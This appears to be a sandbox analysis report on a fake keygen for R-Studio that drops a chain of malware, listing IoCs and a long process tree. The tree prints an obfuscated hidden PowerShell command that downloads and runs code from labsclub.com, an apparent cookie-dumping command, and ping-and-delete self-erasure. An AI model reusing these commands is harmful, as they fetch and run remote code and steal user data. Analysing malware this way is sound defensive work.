Token: SeDebugPrivilege	4408	MicrosoftEdge.exe
Token: SeDebugPrivilege	4408	MicrosoftEdge.exe
Token: SeDebugPrivilege	4408	MicrosoftEdge.exe
Token: SeDebugPrivilege	1192	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1192	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1192	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1192	MicrosoftEdgeCP.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4716	setups.exe
184	setups.tmp
4408	MicrosoftEdge.exe
1908	MicrosoftEdgeCP.exe
1908	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 4168	4772	R_studio_7_8_serial_number_maker.exe	78
PID 4772 wrote to memory of 4168	4772	R_studio_7_8_serial_number_maker.exe	78
PID 4772 wrote to memory of 4168	4772	R_studio_7_8_serial_number_maker.exe	78
PID 4168 wrote to memory of 644	4168	cmd.exe	81
PID 4168 wrote to memory of 644	4168	cmd.exe	81
PID 4168 wrote to memory of 644	4168	cmd.exe	81
PID 4168 wrote to memory of 860	4168	cmd.exe	82
PID 4168 wrote to memory of 860	4168	cmd.exe	82
PID 4168 wrote to memory of 860	4168	cmd.exe	82
PID 4168 wrote to memory of 980	4168	cmd.exe	83
PID 4168 wrote to memory of 980	4168	cmd.exe	83
PID 4168 wrote to memory of 980	4168	cmd.exe	83
PID 4168 wrote to memory of 1116	4168	cmd.exe	84
PID 4168 wrote to memory of 1116	4168	cmd.exe	84
PID 4168 wrote to memory of 1116	4168	cmd.exe	84
PID 644 wrote to memory of 4568	644	keygen-pr.exe	85
PID 644 wrote to memory of 4568	644	keygen-pr.exe	85
PID 644 wrote to memory of 4568	644	keygen-pr.exe	85
PID 1116 wrote to memory of 4588	1116	keygen-step-4.exe	86
PID 1116 wrote to memory of 4588	1116	keygen-step-4.exe	86
PID 980 wrote to memory of 2400	980	keygen-step-3.exe	87
PID 980 wrote to memory of 2400	980	keygen-step-3.exe	87
PID 980 wrote to memory of 2400	980	keygen-step-3.exe	87
PID 4568 wrote to memory of 2728	4568	key.exe	88
PID 4568 wrote to memory of 2728	4568	key.exe	88
PID 4568 wrote to memory of 2728	4568	key.exe	88
PID 2400 wrote to memory of 4644	2400	cmd.exe	90
PID 2400 wrote to memory of 4644	2400	cmd.exe	90
PID 2400 wrote to memory of 4644	2400	cmd.exe	90
PID 4588 wrote to memory of 3964	4588	Setup.exe	91
PID 4588 wrote to memory of 3964	4588	Setup.exe	91
PID 4588 wrote to memory of 4716	4588	Setup.exe	92
PID 4588 wrote to memory of 4716	4588	Setup.exe	92
PID 4588 wrote to memory of 4716	4588	Setup.exe	92
PID 1116 wrote to memory of 212	1116	keygen-step-4.exe	93
PID 1116 wrote to memory of 212	1116	keygen-step-4.exe	93
PID 1116 wrote to memory of 212	1116	keygen-step-4.exe	93
PID 4716 wrote to memory of 184	4716	setups.exe	94
PID 4716 wrote to memory of 184	4716	setups.exe	94
PID 4716 wrote to memory of 184	4716	setups.exe	94
PID 212 wrote to memory of 4684	212	askinstall20.exe	95
PID 212 wrote to memory of 4684	212	askinstall20.exe	95
PID 212 wrote to memory of 4684	212	askinstall20.exe	95
PID 4684 wrote to memory of 4196	4684	cmd.exe	98
PID 4684 wrote to memory of 4196	4684	cmd.exe	98
PID 4684 wrote to memory of 4196	4684	cmd.exe	98
PID 3964 wrote to memory of 1288	3964	multitimer.exe	103
PID 3964 wrote to memory of 1288	3964	multitimer.exe	103
PID 1116 wrote to memory of 804	1116	keygen-step-4.exe	104
PID 1116 wrote to memory of 804	1116	keygen-step-4.exe	104
PID 1116 wrote to memory of 804	1116	keygen-step-4.exe	104

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
372	attrib.exe

C:\Users\Admin\AppData\Local\Temp\R_studio_7_8_serial_number_maker.exe
"C:\Users\Admin\AppData\Local\Temp\R_studio_7_8_serial_number_maker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
    keygen-pr.exe -p83fsase3Ge
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4568
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
        5⤵
        
        PID:2728
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
    keygen-step-1.exe
    3⤵
    - Executes dropped EXE
    PID:860
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
    keygen-step-3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2400
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        5⤵
        Runs ping.exe
        
        PID:4644
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
    keygen-step-4.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1116
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4588
    - - C:\Users\Admin\AppData\Local\Temp\2BM5PA7ZXJ\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2BM5PA7ZXJ\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        5⤵
        Executes dropped EXE
        Maps connected drives based on registry
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3964
      - C:\Users\Admin\AppData\Local\Temp\2BM5PA7ZXJ\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2BM5PA7ZXJ\multitimer.exe" 1 3.1617560577.606a04011ac07 101
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1288
        
        C:\Users\Admin\AppData\Local\Temp\2BM5PA7ZXJ\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2BM5PA7ZXJ\multitimer.exe" 2 3.1617560577.606a04011ac07
        7⤵
        
        PID:196
        
        C:\Users\Admin\AppData\Local\Temp\usw3yhll3x4\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\usw3yhll3x4\vict.exe" /VERYSILENT /id=535
        8⤵
        
        PID:1764
        
        C:\Users\Admin\AppData\Local\Temp\is-NKRPG.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NKRPG.tmp\vict.tmp" /SL5="$202C4,870426,780800,C:\Users\Admin\AppData\Local\Temp\usw3yhll3x4\vict.exe" /VERYSILENT /id=535
        9⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\is-62OH3.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-62OH3.tmp\win1host.exe" 535
        10⤵
        
        PID:5808
        
        C:\Users\Admin\AppData\Local\Temp\oaeJGOnOr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\oaeJGOnOr.exe"
        11⤵
        
        PID:6288
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        12⤵
        
        PID:6032
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Marito.gif
        12⤵
        
        PID:7796
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        13⤵
        
        PID:5660
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 1396
        11⤵
        Program crash
        
        PID:5852
        
        C:\Users\Admin\AppData\Local\Temp\bwdc0okvlq2\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bwdc0okvlq2\Setup3310.exe" /Verysilent /subid=577
        8⤵
        
        PID:3172
        
        C:\Users\Admin\AppData\Local\Temp\is-RAPNS.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-RAPNS.tmp\Setup3310.tmp" /SL5="$50294,138429,56832,C:\Users\Admin\AppData\Local\Temp\bwdc0okvlq2\Setup3310.exe" /Verysilent /subid=577
        9⤵
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\is-BF6CC.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-BF6CC.tmp\Setup.exe" /Verysilent
        10⤵
        
        PID:5848
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"
        11⤵
        
        PID:5344
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:4708
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"
        11⤵
        
        PID:5376
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 952
        12⤵
        Program crash
        
        PID:7556
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1004
        12⤵
        Program crash
        
        PID:4616
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1016
        12⤵
        Program crash
        
        PID:7436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1072
        12⤵
        Program crash
        
        PID:3700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1156
        12⤵
        Program crash
        
        PID:3564
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1128
        12⤵
        Program crash
        
        PID:5252
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1060
        12⤵
        Program crash
        
        PID:8000
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1540
        12⤵
        Program crash
        
        PID:7156
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1648
        12⤵
        Program crash
        
        PID:7840
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1604
        12⤵
        Program crash
        
        PID:6432
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1840
        12⤵
        Program crash
        
        PID:7384
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1628
        12⤵
        Program crash
        
        PID:7304
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 1664
        12⤵
        Program crash
        
        PID:6512
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        11⤵
        
        PID:5328
        
        C:\Users\Admin\AppData\Local\Temp\is-0J0TK.tmp\LabPicV3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0J0TK.tmp\LabPicV3.tmp" /SL5="$50086,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        12⤵
        
        PID:1548
        
        C:\Users\Admin\AppData\Local\Temp\is-3006N.tmp\ppppppfy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-3006N.tmp\ppppppfy.exe" /S /UID=lab214
        13⤵
        
        PID:5900
        
        C:\Program Files\Windows Defender\ASYGMSKEGG\prolab.exe
        
        "C:\Program Files\Windows Defender\ASYGMSKEGG\prolab.exe" /VERYSILENT
        14⤵
        
        PID:5748
        
        C:\Users\Admin\AppData\Local\Temp\is-M6PSC.tmp\prolab.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-M6PSC.tmp\prolab.tmp" /SL5="$3028C,575243,216576,C:\Program Files\Windows Defender\ASYGMSKEGG\prolab.exe" /VERYSILENT
        15⤵
        
        PID:5444
        
        C:\Users\Admin\AppData\Local\Temp\d7-a6754-c24-42c81-a580d75710881\Tuzhilyxozhu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d7-a6754-c24-42c81-a580d75710881\Tuzhilyxozhu.exe"
        14⤵
        
        PID:4672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tvy2nd5l.oxq\md6_6ydj.exe & exit
        15⤵
        
        PID:6756
        
        C:\Users\Admin\AppData\Local\Temp\tvy2nd5l.oxq\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\tvy2nd5l.oxq\md6_6ydj.exe
        16⤵
        
        PID:6360
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bxsmvtkt.azo\askinstall31.exe & exit
        15⤵
        
        PID:7200
        
        C:\Users\Admin\AppData\Local\Temp\bxsmvtkt.azo\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\bxsmvtkt.azo\askinstall31.exe
        16⤵
        
        PID:7428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yiizpqaj.zx0\toolspab1.exe & exit
        15⤵
        
        PID:7796
        
        C:\Users\Admin\AppData\Local\Temp\yiizpqaj.zx0\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\yiizpqaj.zx0\toolspab1.exe
        16⤵
        
        PID:7964
        
        C:\Users\Admin\AppData\Local\Temp\yiizpqaj.zx0\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\yiizpqaj.zx0\toolspab1.exe
        17⤵
        
        PID:8060
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dz5obe4j.ynq\GcleanerWW.exe /mixone & exit
        15⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\b3-6ceb4-79e-913a6-766cb5dfc0649\Livysaesega.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b3-6ceb4-79e-913a6-766cb5dfc0649\Livysaesega.exe"
        14⤵
        
        PID:5232
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2184
        15⤵
        
        PID:6564
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        11⤵
        
        PID:5512
        
        C:\Users\Admin\AppData\Local\Temp\is-HN71U.tmp\lylal220.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HN71U.tmp\lylal220.tmp" /SL5="$4026A,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        12⤵
        
        PID:5620
        
        C:\Users\Admin\AppData\Local\Temp\is-KS6R4.tmp\Microsoft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-KS6R4.tmp\Microsoft.exe" /S /UID=lylal220
        13⤵
        
        PID:4204
        
        C:\Program Files\Reference Assemblies\PMZWXYHYCK\irecord.exe
        
        "C:\Program Files\Reference Assemblies\PMZWXYHYCK\irecord.exe" /VERYSILENT
        14⤵
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\is-DAU2R.tmp\irecord.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DAU2R.tmp\irecord.tmp" /SL5="$5031A,6265333,408064,C:\Program Files\Reference Assemblies\PMZWXYHYCK\irecord.exe" /VERYSILENT
        15⤵
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\a2-8bcb1-e9f-3849a-811507cb1cc5e\Neshejogeru.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a2-8bcb1-e9f-3849a-811507cb1cc5e\Neshejogeru.exe"
        14⤵
        
        PID:5224
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2208
        15⤵
        
        PID:6672
        
        C:\Users\Admin\AppData\Local\Temp\5c-e96e3-268-03ca8-91e60f6f1bb88\Medushavora.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5c-e96e3-268-03ca8-91e60f6f1bb88\Medushavora.exe"
        14⤵
        
        PID:4860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4ha2g5w0.22b\md6_6ydj.exe & exit
        15⤵
        
        PID:6748
        
        C:\Users\Admin\AppData\Local\Temp\4ha2g5w0.22b\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\4ha2g5w0.22b\md6_6ydj.exe
        16⤵
        
        PID:5924
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bfky5hrp.t0t\askinstall31.exe & exit
        15⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\bfky5hrp.t0t\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\bfky5hrp.t0t\askinstall31.exe
        16⤵
        
        PID:7324
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        17⤵
        
        PID:7560
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        18⤵
        Kills process with taskkill
        
        PID:4080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xm4q3nvg.xw5\toolspab1.exe & exit
        15⤵
        
        PID:7264
        
        C:\Users\Admin\AppData\Local\Temp\xm4q3nvg.xw5\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\xm4q3nvg.xw5\toolspab1.exe
        16⤵
        
        PID:7524
        
        C:\Users\Admin\AppData\Local\Temp\xm4q3nvg.xw5\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\xm4q3nvg.xw5\toolspab1.exe
        17⤵
        
        PID:7832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2jeoahl4.1qx\GcleanerWW.exe /mixone & exit
        15⤵
        
        PID:7848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pdmrcrfb.hk2\setup_10.2_mix.exe & exit
        15⤵
        
        PID:6180
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"
        11⤵
        
        PID:4040
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"
        12⤵
        
        PID:5484
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install
        13⤵
        
        PID:4816
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"
        11⤵
        
        PID:5476
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"
        11⤵
        
        PID:1892
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"
        11⤵
        
        PID:4068
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        12⤵
        
        PID:5240
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        13⤵
        
        PID:6056
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"
        11⤵
        
        PID:5568
        
        C:\Users\Admin\AppData\Local\Temp\1F2AOXD48U\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1F2AOXD48U\multitimer.exe" 0 306065bb10421b26.04333812 0 103
        12⤵
        
        PID:4752
        
        C:\Users\Admin\AppData\Local\Temp\1F2AOXD48U\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1F2AOXD48U\multitimer.exe" 1 3.1617560656.606a045075feb 103
        13⤵
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\1F2AOXD48U\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1F2AOXD48U\multitimer.exe" 2 3.1617560656.606a045075feb
        14⤵
        
        PID:4916
        
        C:\Users\Admin\AppData\Local\Temp\kywu5ow0z5w\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\kywu5ow0z5w\cpyrix.exe" /VERYSILENT
        15⤵
        
        PID:7080
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        16⤵
        
        PID:6384
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        17⤵
        
        PID:7548
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        17⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        17⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        16⤵
        
        PID:7236
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        "{path}"
        17⤵
        
        PID:5988
        
        C:\Users\Admin\AppData\Local\Temp\piutmml3zbl\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\piutmml3zbl\vict.exe" /VERYSILENT /id=535
        15⤵
        
        PID:7100
        
        C:\Users\Admin\AppData\Local\Temp\is-1KKV7.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1KKV7.tmp\vict.tmp" /SL5="$60290,870426,780800,C:\Users\Admin\AppData\Local\Temp\piutmml3zbl\vict.exe" /VERYSILENT /id=535
        16⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\is-LE022.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-LE022.tmp\win1host.exe" 535
        17⤵
        
        PID:7676
        
        C:\Users\Admin\AppData\Local\Temp\10x2j03p44m\jattuxrpcws.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10x2j03p44m\jattuxrpcws.exe" /ustwo INSTALL
        15⤵
        
        PID:7120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "jattuxrpcws.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\10x2j03p44m\jattuxrpcws.exe" & exit
        16⤵
        
        PID:6960
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "jattuxrpcws.exe" /f
        17⤵
        Kills process with taskkill
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\f5krbtkxgz5\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f5krbtkxgz5\Setup3310.exe" /Verysilent /subid=577
        15⤵
        
        PID:6280
        
        C:\Users\Admin\AppData\Local\Temp\is-SL5BS.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SL5BS.tmp\Setup3310.tmp" /SL5="$20368,138429,56832,C:\Users\Admin\AppData\Local\Temp\f5krbtkxgz5\Setup3310.exe" /Verysilent /subid=577
        16⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\is-DUO0G.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-DUO0G.tmp\Setup.exe" /Verysilent
        17⤵
        
        PID:8140
        
        C:\Users\Admin\AppData\Local\Temp\l4a111vcus3\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\l4a111vcus3\app.exe" /8-23
        15⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Local\Temp\l4a111vcus3\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\l4a111vcus3\app.exe" /8-23
        16⤵
        
        PID:6052
        
        C:\Users\Admin\AppData\Local\Temp\yoqgu0lqr0b\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yoqgu0lqr0b\vpn.exe" /silent /subid=482
        15⤵
        
        PID:6248
        
        C:\Users\Admin\AppData\Local\Temp\is-40OKK.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-40OKK.tmp\vpn.tmp" /SL5="$40266,15170975,270336,C:\Users\Admin\AppData\Local\Temp\yoqgu0lqr0b\vpn.exe" /silent /subid=482
        16⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\BJ9USAOG4F\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BJ9USAOG4F\setups.exe" ll
        12⤵
        
        PID:5456
        
        C:\Users\Admin\AppData\Local\Temp\is-6UT3A.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-6UT3A.tmp\setups.tmp" /SL5="$30480,454998,229376,C:\Users\Admin\AppData\Local\Temp\BJ9USAOG4F\setups.exe" ll
        13⤵
        
        PID:5156
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"
        11⤵
        
        PID:5644
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        12⤵
        
        PID:5272
        
        C:\Users\Admin\AppData\Local\Temp\fc5tkfzbopo\twrk5zdilvq.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fc5tkfzbopo\twrk5zdilvq.exe" /VERYSILENT
        8⤵
        
        PID:608
        
        C:\Users\Admin\AppData\Local\Temp\is-RIFJB.tmp\twrk5zdilvq.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-RIFJB.tmp\twrk5zdilvq.tmp" /SL5="$30298,2592217,780800,C:\Users\Admin\AppData\Local\Temp\fc5tkfzbopo\twrk5zdilvq.exe" /VERYSILENT
        9⤵
        
        PID:4544
        
        C:\Users\Admin\AppData\Local\Temp\is-LNT9B.tmp\winlthsth.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-LNT9B.tmp\winlthsth.exe"
        10⤵
        
        PID:5864
        
        C:\Users\Admin\AppData\Local\Temp\rTw741WGL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rTw741WGL.exe"
        11⤵
        
        PID:5604
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        11⤵
        
        PID:5556
        
